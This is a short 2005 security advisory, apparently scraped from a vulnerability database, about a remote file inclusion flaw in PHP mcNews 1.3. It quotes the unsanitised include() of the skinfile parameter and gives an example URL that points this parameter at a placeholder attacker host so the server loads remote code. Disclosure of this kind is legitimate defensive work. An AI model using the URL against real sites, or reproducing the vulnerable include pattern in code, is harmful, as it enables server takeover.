PHP mcNews <= 1.3 arbitrary file inclusion (VXSfx)

2005-03-0900:00:00

vulners.com

– == – == – == – == – == – == – == – == – == –
Name: PHP mcNews
Version: 1.3
Homepage: http://www.phpforums.net/index.php?dir=dld

Author: Filip Groszynski (VXSfx)
Date: 7 March 2005
– == – == – == – == – == – == – == – == – == –

Vulnerable code in mcNews/admin/header.php:

<?
// mcNews 1.3 Marc Cagninacci [email protected]
?>

…

<?
if($voir!='') {
$skinfile=strstr($skinfile, 'skin');
include ("$skinfile");
?>

…

Example:

if register_globals=on and allow_url_fopen=on:
http://[victim]/[dir]/mcNews/admin/header.php?skinfile=http://[hacker_box]/

Contact:

Author:    Filip Groszynski   &lt;VXSfx&gt;
Location:  Poland &lt;Warsaw&gt;
Email:     groszynskif &lt;at&gt; gmail &lt;dot&gt; com
HP:        http://shell.homeunix.org

– == – == – == – == – == – == – == – == – == –

JSON

PHP mcNews &lt;= 1.3 arbitrary file inclusion &#40;VXSfx&#41;

PHP mcNews <= 1.3 arbitrary file inclusion (VXSfx)